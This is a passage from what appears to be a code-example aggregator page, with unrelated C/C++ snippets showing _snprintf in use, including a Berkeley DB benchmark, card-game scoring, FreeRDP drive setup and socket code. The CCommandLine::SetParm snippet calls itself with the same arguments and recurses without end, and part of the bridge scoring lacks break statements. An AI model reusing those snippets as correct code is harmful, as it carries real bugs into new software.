            else if (KItemEditModeMgr::GetSelf().GetEditMode() == EDIT_RESIZE_MODE)
            {
                float fWidth = m_fWidth + (fX - fLastX);
                float fHeight = m_fHeight + (fY - fLastY);
                if (fWidth < 0.0f)
                    fWidth = 0.0f;
                if (fHeight < 0.0f)
                    fHeight = 0.0f;
                SetSize(fWidth, fHeight);
            }
            KItemEditModeMgr::GetSelf().SetDragStartPos(fX, fY);
            return TRUE;
        }
		else if (PtInItem(fX, fY))
		{
			static char szInfo[MAX_PATH] = { 0 };
			_snprintf(szInfo, _countof(szInfo), "名字: %s\n   x=%d, y=%d, w=%d, h=%d\n", m_szItemName, 
				(int)m_fRelX, (int)m_fRelY, (int)m_fWidth, (int)m_fHeight);
			g_pUI->m_EditorMgr.UIEditorOperation(PLUGIN_UI_EDITOR_SHOW_INFO, (WPARAM)szInfo, 0);
			return TRUE;
		}
        break;
    }
    
    return FALSE;
}
コード例 #9
0
void CCommandLine::SetParm(const char *pszParm, int iValue)
{
	char pszValue[64];
	_snprintf(pszValue, sizeof(pszValue), "%d", iValue);
	SetParm(pszParm, iValue);
}
コード例 #10
0
ファイル: TpcbExample.cpp プロジェクト: bohrasd/windowsrtdev
int
TpcbExample::run(int n)
{
	DB *adb, *bdb, *hdb, *tdb;
	int failed, ret, txns;
	DWORD start_time, end_time;
	double elapsed_secs;

	//
	// Open the database files.
	//

	int err;
	if ((err = db_create(&adb, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of account db failed. Error: %s",
		    db_strerror(err));
		return (1);
	}
	if ((err = adb->open(adb, NULL, "account", NULL, DB_UNKNOWN,
			     DB_AUTO_COMMIT, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Open of account file failed. Error: %s", db_strerror(err));
		return (1);
	}

	if ((err = db_create(&bdb, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of branch db failed. Error: %s",
		    db_strerror(err));
		return (1);
	}
	if ((err = bdb->open(bdb, NULL, "branch", NULL, DB_UNKNOWN,
			     DB_AUTO_COMMIT, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Open of branch file failed. Error: %s", db_strerror(err));
		return (1);
	}

	if ((err = db_create(&tdb, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of teller db failed. Error: %s",
		    db_strerror(err));
		return (1);
	}
	if ((err = tdb->open(tdb, NULL, "teller", NULL, DB_UNKNOWN,
			     DB_AUTO_COMMIT, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Open of teller file failed. Error: %s", db_strerror(err));
		return (1);
	}

	if ((err = db_create(&hdb, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of teller db failed. Error: %s",
		    db_strerror(err));
		return (1);
	}
	if ((err = hdb->open(hdb, NULL, "history", NULL, DB_UNKNOWN,
			     DB_AUTO_COMMIT, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Open of history file failed. Error: %s", db_strerror(err));
		return (1);
	}

	start_time = GetTickCount();
	for (txns = n, failed = 0; n-- > 0;)
		if ((ret = txn(adb, bdb, tdb, hdb,
		    accounts, branches, tellers)) != 0)
			++failed;
	end_time = GetTickCount();
	if (end_time == start_time)
		++end_time;
#define MILLISECS_PER_SEC 1000
	elapsed_secs = (double)((end_time - start_time))/MILLISECS_PER_SEC;
	_snprintf(msgString, ERR_STRING_MAX,
		"%s: %d txns: %d failed, %.2f TPS\n", progname, txns, failed,
	    (txns - failed) / elapsed_secs);

	(void)adb->close(adb, 0);
	(void)bdb->close(bdb, 0);
	(void)tdb->close(tdb, 0);
	(void)hdb->close(hdb, 0);

	return (0);
}
コード例 #11
0
ファイル: TpcbExample.cpp プロジェクト: bohrasd/windowsrtdev
//
// Initialize the database to the specified number of accounts, branches,
// history records, and tellers.
//
int
TpcbExample::populate()
{
	DB *dbp;

	int err;
	u_int32_t balance, idnum;
	u_int32_t end_anum, end_bnum, end_tnum;
	u_int32_t start_anum, start_bnum, start_tnum;

	idnum = BEGID;
	balance = 500000;

	if ((err = db_create(&dbp, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of accounts db failed.");
		return (1);
	}
	dbp->set_h_nelem(dbp, (unsigned int)accounts);

	if ((err = dbp->open(dbp, NULL, "account", NULL, DB_HASH,
			     DB_CREATE, 0644)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Account file create failed. error: %s.", db_strerror(err));
		return (1);
	}

	start_anum = idnum;
	if ((err =
	    populateTable(dbp, idnum, balance, accounts, "account")) != 0)
		return (1);
	idnum += accounts;
	end_anum = idnum - 1;
	if ((err = dbp->close(dbp, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Account file close failed. error: %s.", db_strerror(err));
		return (1);
	}

	if ((err = db_create(&dbp, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of branches db failed.");
		return (1);
	}
	//
	// Since the number of branches is very small, we want to use very
	// small pages and only 1 key per page.  This is the poor-man's way
	// of getting key locking instead of page locking.
	//
	dbp->set_h_ffactor(dbp, 1);
	dbp->set_h_nelem(dbp, (unsigned int)branches);
	dbp->set_pagesize(dbp, 512);

	if ((err = dbp->open(dbp, NULL, "branch", NULL, DB_HASH,
			     DB_CREATE, 0644)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Branch file create failed. error: %s.", db_strerror(err));
		return (1);
	}
	start_bnum = idnum;
	if ((err = populateTable(dbp, idnum, balance, branches, "branch")) != 0)
		return (1);
	idnum += branches;
	end_bnum = idnum - 1;
	if ((err = dbp->close(dbp, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Close of branch file failed. error: %s.",
		    db_strerror(err));
		return (1);
	}

	if ((err = db_create(&dbp, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of teller db failed.");
		return (1);
	}
	//
	// In the case of tellers, we also want small pages, but we'll let
	// the fill factor dynamically adjust itself.
	//
	dbp->set_h_ffactor(dbp, 0);
	dbp->set_h_nelem(dbp, (unsigned int)tellers);
	dbp->set_pagesize(dbp, 512);

	if ((err = dbp->open(dbp, NULL, "teller", NULL, DB_HASH,
			     DB_CREATE, 0644)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Teller file create failed. error: %s.", db_strerror(err));
		return (1);
	}

	start_tnum = idnum;
	if ((err = populateTable(dbp, idnum, balance, tellers, "teller")) != 0)
		return (1);
	idnum += tellers;
	end_tnum = idnum - 1;
	if ((err = dbp->close(dbp, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Close of teller file failed. error: %s.",
		    db_strerror(err));
		return (1);
	}

	if ((err = db_create(&dbp, dbenv, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "db_create of history db failed.");
		return (1);
	}
	dbp->set_re_len(dbp, HISTORY_LEN);
	if ((err = dbp->open(dbp, NULL, "history", NULL, DB_RECNO,
			     DB_CREATE, 0644)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Create of history file failed. error: %s.",
		    db_strerror(err));
		return (1);
	}

	populateHistory(dbp, history, accounts, branches, tellers);
	if ((err = dbp->close(dbp, 0)) != 0) {
		_snprintf(msgString, ERR_STRING_MAX,
		    "Close of history file failed. error: %s.",
		    db_strerror(err));
		return (1);
	}

	_snprintf(msgString, ERR_STRING_MAX, "Populated OK.");
	return (0);
}
コード例 #12
0
ファイル: ScoreView.cpp プロジェクト: Michael-Z/qipai-game
//重画函数
void CScoreView::OnPaint() 
{
	CPaintDC dc(this); 

	//设置 DC
	dc.SetBkMode(TRANSPARENT);
	dc.SetTextColor(RGB(255,0,0));
	dc.SelectObject(CSkinResourceManager::GetDefaultFont());

	//绘画背景
	CImageHandle ImageHandle(&m_ImageBack);
	m_ImageBack.BitBlt(dc,0,0);

	//显示分数
	CRect rcDraw;
	CString strScore ;
	char szBuffer[64] ;
	for (WORD i=0;i<CountArray(m_szUserName);i++)
	{
		if(lstrcmp(m_szUserName[i],""))
		{
			//字体颜色
			if ( m_lGameScore[i] > 0 )
				dc.SetTextColor( RGB( 255, 0, 0 ) ) ;
			else 
				dc.SetTextColor( RGB( 0, 0, 0 ) ) ;

			//用户名字
			rcDraw.left=10;
			rcDraw.right=130;
			rcDraw.top=i*23+80;
			rcDraw.bottom=rcDraw.top+12;
			dc.DrawText(m_szUserName[i],lstrlen(m_szUserName[i]),&rcDraw,DT_VCENTER|DT_CENTER|DT_END_ELLIPSIS|DT_NOCLIP);

			//用户积分
			rcDraw.left=150;
			rcDraw.right=290;
			strScore.Format("%ld" , m_lGameScore[i]) ;
			//_snprintf(szBuffer,sizeof(szBuffer),TEXT("%ld"),m_lGameScore[i]);
			dc.DrawText(strScore,strScore.GetLength(),&rcDraw,DT_VCENTER|DT_CENTER|DT_END_ELLIPSIS|DT_NOCLIP);
		}
	}

	if(0)
	{
		//显示税收
		rcDraw.left=10;
		rcDraw.right=130;
		rcDraw.top=4*23+80;
		rcDraw.bottom=rcDraw.top+12;
		LPCTSTR pszTax=TEXT("交易税");
		dc.DrawText(pszTax,lstrlen(pszTax),&rcDraw,DT_VCENTER|DT_CENTER|DT_END_ELLIPSIS|DT_NOCLIP);

		//显示税收
		rcDraw.left=150;
		rcDraw.right=290;
		_snprintf(szBuffer,sizeof(szBuffer),"%ld",m_lGameTax);
		dc.DrawText(szBuffer,lstrlen(szBuffer),&rcDraw,DT_VCENTER|DT_CENTER|DT_END_ELLIPSIS|DT_NOCLIP);
	}
	return;
}
コード例 #13
0
ファイル: snprintf.c プロジェクト: ABratovic/open-watcom-v2
char *make_temp_name()
  {
    _snprintf( namebuf, 13, "ZZ%.6o.TMP", TempCount++ );
    return( namebuf );
  }
コード例 #14
0
ファイル: drive_main.c プロジェクト: akboom/FreeRDP
int DeviceServiceEntry(PDEVICE_SERVICE_ENTRY_POINTS pEntryPoints)
{
	RDPDR_DRIVE* drive;
#ifdef WIN32
	char* dev;
	int len;
	char devlist[512], buf[512];
#endif

	drive = (RDPDR_DRIVE*) pEntryPoints->device;

#ifndef WIN32

	if (strcmp(drive->Path, "*") == 0)
	{
		/* all drives */

		free(drive->Path);
		drive->Path = _strdup("/");
	}
	else if (strcmp(drive->Path, "%") == 0)
	{
		char* home_env = NULL;

		/* home directory */

		home_env = getenv("HOME");
		free(drive->Path);

		if (home_env)
			drive->Path = _strdup(home_env);
		else
			drive->Path = _strdup("/");
	}

        drive_register_drive_path(pEntryPoints, drive->Name, drive->Path);

#else
        /* Special case: path[0] == '*' -> export all drives */
	/* Special case: path[0] == '%' -> user home dir */
        if (strcmp(drive->Path, "%") == 0)
	{
		_snprintf(buf, sizeof(buf), "%s\\", getenv("USERPROFILE"));
		drive_register_drive_path(pEntryPoints, drive->Name, _strdup(buf));
	}
	else if (strcmp(drive->Path, "*") == 0)
	{
		int i;

		/* Enumerate all devices: */
		GetLogicalDriveStringsA(sizeof(devlist) - 1, devlist);

		for (dev = devlist, i = 0; *dev; dev += 4, i++)
		{
			if (*dev > 'B')
                        {
				/* Suppress disk drives A and B to avoid pesty messages */
				_snprintf(buf, sizeof(buf) - 4, "%s", drive->Name);
				len = strlen(buf);
				buf[len] = '_';
				buf[len + 1] = dev[0];
				buf[len + 2] = 0;
				buf[len + 3] = 0;
				drive_register_drive_path(pEntryPoints, _strdup(buf), _strdup(dev));
			}
		}
	}
        else
        {
		drive_register_drive_path(pEntryPoints, drive->Name, drive->Path);
	}
#endif
	
        return 0;
 }
コード例 #15
0
//游戏结束
bool __cdecl CTableFrameSink::OnEventGameEnd(WORD wChairID, IServerUserItem * pIServerUserItem, BYTE cbReason)
{
	switch (cbReason)
	{
	case GER_DISMISS:		//游戏解散
		{
			//定义变量
			CMD_S_GameEnd GameEnd;
			ZeroMemory(&GameEnd,sizeof(GameEnd));

			//发送信息
			m_pITableFrame->SendTableData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));
			m_pITableFrame->SendLookonData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));

			m_cbValueOrder[0]=VALUE_ERROR;
			m_cbValueOrder[1]=VALUE_ERROR;

			//结束游戏
			m_pITableFrame->ConcludeGame();

			return true;
		}
	case GER_NORMAL:		//常规结束
		{
			//定义变量
			CMD_S_GameEnd GameEnd;
			ZeroMemory(&GameEnd,sizeof(GameEnd));
			tagScoreInfo ScoreInfo[m_wPlayerCount];
			ZeroMemory(&ScoreInfo,sizeof(ScoreInfo));

			//统计变量
			LONG lBankerScore[2];
			BYTE bImp=0;

			//0为庄分 1为对家分
			lBankerScore[0]=0;
			lBankerScore[1]=0;

			//-------------------------------------------------------------------------------
			//判断是否完成定约? 未完成定约
			if ((m_bLandScore+6)>m_cbValueOrder[0])
			{
				LONG lFirstDunValue=0;  //第一墩
				LONG lNextDunValue=0;   //1墩后每墩
				LONG lFouthDunValue=0;  //第4墩和以后
				BYTE bHaveDun=((m_bLandScore+6)-m_cbValueOrder[0]);  //计算差墩
				
				//效验变量
				ASSERT(m_cbJuKuang!=0);
				if (m_cbJuKuang==0) return false;
				if (m_cbJuKuang!=1) //双有,南北,东西
				{
					switch (m_cbMultiples)
					{
					case 1:
						{
							lFirstDunValue=100;
							lNextDunValue=100;
							lFouthDunValue=0;
							break;
						}
					case 2:
						{
							lFirstDunValue=200;
							lNextDunValue=300;
							lFouthDunValue=0;
							break;
						}
					case 6:
						{
							lFirstDunValue=400;
							lNextDunValue=600;
							lFouthDunValue=0;
							break;
						}
					}
				}
				else  //双无
				{
					switch (m_cbMultiples)
					{
					case 1:
						{
							lFirstDunValue=50;
							lNextDunValue=50;
							lFouthDunValue=0;
							break;
						}
					case 2:
						{
							lFirstDunValue=100;
							lNextDunValue=200;
							lFouthDunValue=100;
							break;
						}
					case 6:
						{
							lFirstDunValue=200;
							lNextDunValue=400;
							lFouthDunValue=200;
							break;
						}
					}
				}

				LONG lHaveValue=0; //相差墩计算后得分
				if (bHaveDun<4)   //相差墩少于4墩
				{
					lHaveValue=lFirstDunValue+(bHaveDun-1)*lNextDunValue;
				}
				else
				{
					BYTE bLostDun=bHaveDun-4+1;  
					lHaveValue=lFirstDunValue+2*lNextDunValue+bLostDun*lFouthDunValue;
				}

				//统计得分
				lBankerScore[0]=-lHaveValue;
				lBankerScore[1]=lHaveValue;
			}
			//-------------------------------------------------------------------------------
			else  //完成定约
			{
				LONG lFirstCardValue=0;
				LONG lNextCardValue=0;
				bool bIsFinishJu=false;  //成局标志  false=部分 true=成局
				
				//计算花色的分值
				switch (m_cbMainColor)
				{
				case COLOR_MEI_HUA:
				case COLOR_FANG_KUAI:
					{
						switch (m_cbMultiples)
						{
						case 1:
							{
								lFirstCardValue=20;
								lNextCardValue=20;
								break;
							}
						case 2:
							{
								lFirstCardValue=40;
								lNextCardValue=40;
								break;
							}
						case 6:
							{
								lFirstCardValue=80;
								lNextCardValue=80;
								break;
							}
						}
						break;
					}
				case COLOR_HONG_TAO:
				case COLOR_HEI_TAO:
					{
						switch (m_cbMultiples)
						{
						case 1:
							{
								lFirstCardValue=30;
								lNextCardValue=30;
								break;
							}
						case 2:
							{
								lFirstCardValue=40;
								lNextCardValue=40;
								break;
							}
						case 6:
							{
								lFirstCardValue=120;
								lNextCardValue=120;
								break;
							}
						}
						break;
					}
				case COLOR_NT:
					{
						switch (m_cbMultiples)
						{
						case 1:
							{
								lFirstCardValue=40;
								lNextCardValue=30;
								break;
							}
						case 2:
							{
								lFirstCardValue=80;
								lNextCardValue=60;
								break;
							}
						case 6:
							{
								lFirstCardValue=160;
								lNextCardValue=120;
								break;
							}
						}
						break;
					}
				}
				
				//判断是否成局
				LONG bDingYueValue=lFirstCardValue+((m_bLandScore-1)*lNextCardValue);
				if (bDingYueValue>=100) bIsFinishJu=true;

				//计算满贯
				if (m_bLandScore==6||m_bLandScore==7)
				{
					//效验变量
					ASSERT(m_cbJuKuang==0);
					if (m_cbJuKuang==0) return false;
					if (m_cbJuKuang!=1) //双有,南北,东西
					{
						lBankerScore[0]=(m_bLandScore==6)?750:1500;
					}
					else  //双无
					{
						lBankerScore[0]=(m_bLandScore==6)?500:1000;
					}

					//计算得分
					lBankerScore[0]+=bDingYueValue;
					lBankerScore[1]=-lBankerScore[0];
				}
				else
				{
					//计算超墩
					BYTE bChaoDun=m_cbValueOrder[0]-(m_bLandScore+6);
					LONG bChaoDunValue=0;
					if (bChaoDun!=0)
					{
						//效验变量
						//ASSERT(m_cbJuKuang==0);
						if (m_cbJuKuang==0) return false;
						if (m_cbJuKuang!=1) //双有,南北,东西
						{
							switch (m_cbMultiples)
							{
							case 1:
								{
									switch (m_cbMainColor)
									{
										case COLOR_MEI_HUA:
										case COLOR_FANG_KUAI:
										{
											bChaoDunValue=20;	
											break;
										}
										case COLOR_HONG_TAO:
										case COLOR_HEI_TAO:
										{
											bChaoDunValue=30;		
											break;
										}
										case COLOR_NT:
										{
											bChaoDunValue=30;		
											break;
										}
									}
								}
							case 2:
								{
									bChaoDunValue=200;
									break;
								}
							case 6:
								{
									bChaoDunValue=400;
									break;
								}

							}
						}
						else  //双无
						{
							switch (m_cbMultiples)
							{
							case 1:
								{
									switch (m_cbMainColor)
									{
										case COLOR_MEI_HUA:
										case COLOR_FANG_KUAI:
										{
											bChaoDunValue=20;	
											break;
										}
										case COLOR_HONG_TAO:
										case COLOR_HEI_TAO:
										{
											bChaoDunValue=30;		
											break;
										}
										case COLOR_NT:
										{
											bChaoDunValue=30;		
											break;
										}
									}
								}
							case 2:
								{
									bChaoDunValue=100;
									break;
								}
							case 6:
								{
									bChaoDunValue=200;
									break;
								}

							}
						}
					//------------------------------------------------
					//计算得分
					lBankerScore[0]+=(bDingYueValue+bChaoDun*bChaoDunValue);
					}
					
					//定约奖分
					LONG lDingYueScore=0;

					//效验变量
					//ASSERT(m_cbJuKuang==0);
					if (m_cbJuKuang==0) return false;
					
					//有局成局,无局成局,部分定约
					if (bIsFinishJu)
					{
						if (m_cbJuKuang!=1) //双有,南北,东西
						{
							lDingYueScore=500;
						}
						else  //双无
						{
							lDingYueScore=300;
						}
					}
					else
					{
						lDingYueScore=50;
					}
					
					//加倍,再加倍
					if (m_cbMultiples==2) lDingYueScore+=50;
					if (m_cbMultiples==6) lDingYueScore+=100;

					//计算总分
					lBankerScore[0]+=lDingYueScore;
					lBankerScore[1]=-lBankerScore[0];
				}
			}


			//-------------------------------------------------------------------------------
			
			//IMP换算成积分
			LONG lTempImp=0;
			BYTE bTiePoint=0;

			lTempImp=abs(lBankerScore[0]);
			if (lTempImp>=0&&lTempImp<50) bImp=1;
			if (lTempImp>=50&&lTempImp<90) bImp=2;
			if (lTempImp>=90&&lTempImp<130) bImp=3;
			if (lTempImp>=130&&lTempImp<170) bImp=4;
			if (lTempImp>=170&&lTempImp<220) bImp=5;
			if (lTempImp>=220&&lTempImp<270) bImp=6;
			if (lTempImp>=270&&lTempImp<320) bImp=7;
			if (lTempImp>=320&&lTempImp<370) bImp=8;
			if (lTempImp>=370&&lTempImp<430) bImp=9;
			if (lTempImp>=430&&lTempImp<500) bImp=10;
			if (lTempImp>=500&&lTempImp<600) bImp=11;
			if (lTempImp>=600&&lTempImp<750) bImp=12;
			if (lTempImp>=750&&lTempImp<900) bImp=13;
			if (lTempImp>=900&&lTempImp<1100) bImp=14;
			if (lTempImp>=1100&&lTempImp<1300) bImp=15;
			if (lTempImp>=1300&&lTempImp<1500) bImp=16;
			if (lTempImp>=1500&&lTempImp<1750) bImp=17;
			if (lTempImp>=1750&&lTempImp<2000) bImp=18;
			if (lTempImp>=2000&&lTempImp<2250) bImp=19;
			if (lTempImp>=2250&&lTempImp<2500) bImp=20;
			if (lTempImp>=2500&&lTempImp<3000) bImp=21;
			if (lTempImp>=3000&&lTempImp<3500) bImp=22;
			if (lTempImp>=3500&&lTempImp<4000) bImp=23;
			if (lTempImp>=4000) bImp=24;

			//计算得分方的大牌值
			if (lBankerScore[0]>0)
			{
				bTiePoint=GetBigCardPoint(m_wBankerUser,(m_wBankerUser+2)%m_wPlayerCount);
			}
			else
			{
				bTiePoint=GetBigCardPoint((m_wBankerUser+1)%m_wPlayerCount,(m_wBankerUser+3)%m_wPlayerCount);
			}

			//最后得分
			BYTE bTotalScore=bImp+20-bTiePoint;
			LONG bNSScore=0;  //南北得分
			LONG bEWScore=0;  //东西得分
			if (lBankerScore[0]>0)
			{
				//玩家得分
				GameEnd.lScore[m_wBankerUser]=bTotalScore*m_pGameServiceOption->lCellScore;
				GameEnd.lScore[(m_wBankerUser+2)%m_wPlayerCount]=bTotalScore*m_pGameServiceOption->lCellScore;
				GameEnd.lScore[(m_wBankerUser+1)%m_wPlayerCount]=-(bTotalScore*m_pGameServiceOption->lCellScore);
				GameEnd.lScore[(m_wBankerUser+3)%m_wPlayerCount]=-(bTotalScore*m_pGameServiceOption->lCellScore);
				bEWScore=-bTotalScore;
				bNSScore=bTotalScore;
			}
			else
			{
				//玩家得分
				GameEnd.lScore[m_wBankerUser]=-(bTotalScore*m_pGameServiceOption->lCellScore);
				GameEnd.lScore[(m_wBankerUser+2)%m_wPlayerCount]=-(bTotalScore*m_pGameServiceOption->lCellScore);
				GameEnd.lScore[(m_wBankerUser+1)%m_wPlayerCount]=bTotalScore*m_pGameServiceOption->lCellScore;
				GameEnd.lScore[(m_wBankerUser+3)%m_wPlayerCount]=bTotalScore*m_pGameServiceOption->lCellScore;
				bEWScore=bTotalScore;
				bNSScore=-bTotalScore;
			}

			//计算税收


			LONG lGameTax=0L;
			if (m_pGameServiceOption->wServerType==GAME_GENRE_GOLD)
			{
				for (WORD i=0;i<m_wPlayerCount;i++)
				{
					if (GameEnd.lScore[i]>=100L)
					{
						lGameTax+=GameEnd.lScore[i] * m_pGameServiceOption->wRevenue /100L;
						ScoreInfo[i].lRevenue = GameEnd.lScore[i] * m_pGameServiceOption->wRevenue /100L ;
						GameEnd.lScore[i] -=ScoreInfo[i].lRevenue;
					}
				}
			}

			
			//-------------------------------------------------------------------------------
			char cFangWei[10];
			if (m_wBankerUser==0) strcpy(cFangWei,"北");
			if (m_wBankerUser==1) strcpy(cFangWei,"东");
			if (m_wBankerUser==2) strcpy(cFangWei,"南");
			if (m_wBankerUser==3) strcpy(cFangWei,"西");
			char cColor[10];
			if (m_cbMainColor==COLOR_NT) strcpy(cColor,"NT");
			if (m_cbMainColor==COLOR_HEI_TAO) strcpy(cColor,"黑桃");
			if (m_cbMainColor==COLOR_HONG_TAO) strcpy(cColor,"红桃");
			if (m_cbMainColor==COLOR_FANG_KUAI) strcpy(cColor,"方块");
			if (m_cbMainColor==COLOR_MEI_HUA) strcpy(cColor,"梅花");

			//通知消息
			TCHAR szMessage[256]=TEXT("");
			_snprintf(szMessage,CountArray(szMessage),TEXT("结果:[ %s%d%s ]IMP:[ %d ] 南北得分:[ %d ] 东西得分:[ %d ] 游戏税率:[ %d ]"),cFangWei,m_bLandScore,cColor,lTempImp,bNSScore,bEWScore,lGameTax);
			for (WORD i=0;i<m_wPlayerCount;i++)
			{
				IServerUserItem * pISendUserItem=m_pITableFrame->GetServerUserItem(i);
				if (pISendUserItem!=NULL) m_pITableFrame->SendGameMessage(pISendUserItem,szMessage,SMT_INFO);
			}
			WORD wIndex=0;
			do
			{
				IServerUserItem * pISendUserItem=m_pITableFrame->EnumLookonUserItem(wIndex++);
				if (pISendUserItem==NULL) break;
				m_pITableFrame->SendGameMessage(pISendUserItem,szMessage,SMT_INFO);
			} while (true);

			//-------------------------------------------------------------------------------

			//下次发牌
			if (m_wFirstUser!=INVALID_CHAIR) m_wFirstUser=(m_wFirstUser+1)%GAME_PLAYER;
			
			//游戏倍数
			GameEnd.wConcealTime=m_cbMultiples;

			//双方得分
			GameEnd.bBankerScore=m_cbValueOrder[0];
			GameEnd.bOtherScore=m_cbValueOrder[1];

			//发送信息
			m_pITableFrame->SendTableData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));
			m_pITableFrame->SendLookonData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));

			//修改积分
			
			for (WORD i=0;i<m_wPlayerCount;i++)
			{
				ScoreInfo[i].lScore=GameEnd.lScore[i];
				ScoreInfo[i].ScoreKind=(GameEnd.lScore[i]>0L)?enScoreKind_Win:enScoreKind_Lost;
				m_pITableFrame->WriteUserScore(i,ScoreInfo[i].lScore ,ScoreInfo[i].lRevenue ,ScoreInfo[i].ScoreKind);
			}
			//m_pITableFrame->WriteTableScore(ScoreInfo,m_wPlayerCount,lGameTax);

			m_cbValueOrder[0]=VALUE_ERROR;
			m_cbValueOrder[1]=VALUE_ERROR;

			//庄家切换
			if (GameEnd.lScore[m_wBankerUser]>0L) m_wBankerUser=(m_wBankerUser+2)%m_wPlayerCount;
			else m_wBankerUser=(m_wBankerUser+1)%m_wPlayerCount;

			//结束游戏
			m_pITableFrame->ConcludeGame();

			return true;
		}
	case GER_USER_LEFT:		//用户强退
		{
			//定义变量
			CMD_S_GameEnd GameEnd;
			ZeroMemory(&GameEnd,sizeof(GameEnd));
			tagScoreInfo ScoreInfo;
			ZeroMemory(&ScoreInfo,sizeof(ScoreInfo));
			//玩家得分
			GameEnd.lScore[wChairID]=-8*m_pGameServiceOption->lCellScore;
			GameEnd.bBankerScore=0;
			GameEnd.bOtherScore=0;
			GameEnd.wConcealTime=0;

			//发送信息
			m_pITableFrame->SendTableData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));
			m_pITableFrame->SendLookonData(INVALID_CHAIR,SUB_S_GAME_END,&GameEnd,sizeof(GameEnd));

			//修改积分
			
			ScoreInfo.ScoreKind=enScoreKind_Flee;
			ScoreInfo.lScore=GameEnd.lScore[wChairID];
			m_pITableFrame->WriteUserScore(wChairID,ScoreInfo.lScore,ScoreInfo.lRevenue,ScoreInfo.ScoreKind);

			//通知消息
			TCHAR szMessage[128]=TEXT("");
			_snprintf(szMessage,CountArray(szMessage),TEXT("由于 [ %s ] 离开游戏,游戏结束"),pIServerUserItem->GetAccounts());
			for (WORD i=0;i<m_wPlayerCount;i++)
			{
				IServerUserItem * pISendUserItem=m_pITableFrame->GetServerUserItem(i);
				if (pISendUserItem!=NULL) m_pITableFrame->SendGameMessage(pISendUserItem,szMessage,SMT_INFO);
			}
			WORD wIndex=0;
			do
			{
				IServerUserItem * pISendUserItem=m_pITableFrame->EnumLookonUserItem(wIndex++);
				if (pISendUserItem==NULL) break;
				m_pITableFrame->SendGameMessage(pISendUserItem,szMessage,SMT_INFO);
			} while (true);

			m_cbValueOrder[0]=VALUE_ERROR;
			m_cbValueOrder[1]=VALUE_ERROR;
			//结束游戏
			m_pITableFrame->ConcludeGame();

			return true;
		}
	}

	ASSERT(FALSE);

	return false;
}
コード例 #16
0
BOOL CAsyncSocketExLayer::ConnectNext(LPCTSTR lpszHostAddress, UINT nHostPort)
{
	ASSERT(GetLayerState()==unconnected);
	ASSERT(m_pOwnerSocket);
	BOOL res = FALSE;
	if (m_pNextLayer)
		res = m_pNextLayer->Connect(lpszHostAddress, nHostPort);
	else if (m_nFamily == AF_INET)
	{
		USES_CONVERSION;

		ASSERT(lpszHostAddress != NULL);

		SOCKADDR_IN sockAddr;
		memset(&sockAddr,0,sizeof(sockAddr));

		LPSTR lpszAscii = T2A((LPTSTR)lpszHostAddress);
		sockAddr.sin_family = AF_INET;
		sockAddr.sin_addr.s_addr = inet_addr(lpszAscii);

		if (sockAddr.sin_addr.s_addr == INADDR_NONE)
		{
			LPHOSTENT lphost;
			lphost = gethostbyname(lpszAscii);
			if (lphost != NULL)
				sockAddr.sin_addr.s_addr = ((LPIN_ADDR)lphost->h_addr)->s_addr;
			else
			{
				WSASetLastError(WSAEINVAL);
				res = FALSE;
			}
		}

		sockAddr.sin_port = htons((u_short)nHostPort);

		res = (SOCKET_ERROR != connect(m_pOwnerSocket->GetSocketHandle(), (SOCKADDR*)&sockAddr, sizeof(sockAddr)) );
	}
	else if (m_nFamily == AF_INET6 || m_nFamily == AF_UNSPEC)
	{
		if (!m_pOwnerSocket->p_getaddrinfo)
		{
			WSASetLastError(WSAEPROTONOSUPPORT);
			return FALSE;
		}
		USES_CONVERSION;

		ASSERT(lpszHostAddress != NULL);

		addrinfo hints, *res0, *res1;
		SOCKET hSocket;
		int error;
		char port[10];

		m_pOwnerSocket->p_freeaddrinfo(m_addrInfo);
		m_nextAddr = 0;
		m_addrInfo = 0;

		memset(&hints, 0, sizeof(addrinfo));
		hints.ai_family = m_nFamily;
		hints.ai_socktype = SOCK_STREAM;
		hints.ai_flags = 0;
		_snprintf(port, 9, "%lu", nHostPort);
		error = m_pOwnerSocket->p_getaddrinfo(T2CA(lpszHostAddress), port, &hints, &res0);
		if (error)
			return FALSE;

		for (res1 = res0; res1; res1 = res1->ai_next)
		{
			if (m_nFamily == AF_UNSPEC)
				hSocket = socket(res1->ai_family, res1->ai_socktype, res1->ai_protocol);
			else
				hSocket = m_pOwnerSocket->GetSocketHandle();

			if (INVALID_SOCKET == hSocket)
			{
				res = FALSE;
				continue;
			}

			if (m_nFamily == AF_UNSPEC)
			{
				m_pOwnerSocket->m_SocketData.hSocket = hSocket;
				m_pOwnerSocket->AttachHandle(hSocket);
				if (!m_pOwnerSocket->AsyncSelect(m_lEvent))
				{
					m_pOwnerSocket->Close();
					res = FALSE;
					continue ;
				}
				if (m_pOwnerSocket->m_pFirstLayer)
				{
